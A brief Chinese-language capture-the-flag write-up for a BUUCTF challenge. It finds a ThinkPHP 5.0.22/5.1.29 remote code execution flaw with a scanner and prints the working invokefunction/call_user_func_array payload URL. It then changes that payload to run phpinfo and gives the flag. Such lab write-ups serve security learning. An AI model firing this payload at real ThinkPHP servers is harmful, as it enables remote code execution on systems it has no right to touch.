1、ThinkPHP检测工具  
https://github.com/anx0ing/thinkphp_scan漏洞检测  
 
通过漏洞检测,我们发现存在rce漏洞!2、漏洞利用  
----
[!] Name: Thinkphp5 5.0.22/5.1.29 Remote Code Execution Vulnerability
    Script: thinkphp5022_5129.py
    Url: http://node5.buuoj.cn:27683/
      Vulnerable: True
      Attack: True
      Method: GET
      Payload: http://node5.buuoj.cn:27683/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=1
----payload  
http://node5.buuoj.cn:27683/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 and it'll execute the phpinfo:修改payload,我们就可以拿到phpinfo页面,flag就在其中!
 
至于扫描器,githb有很多!自己下载!3、get flag  
 
flag{9f4a1a0b-ef58-49ac-8344-63aa3914af75}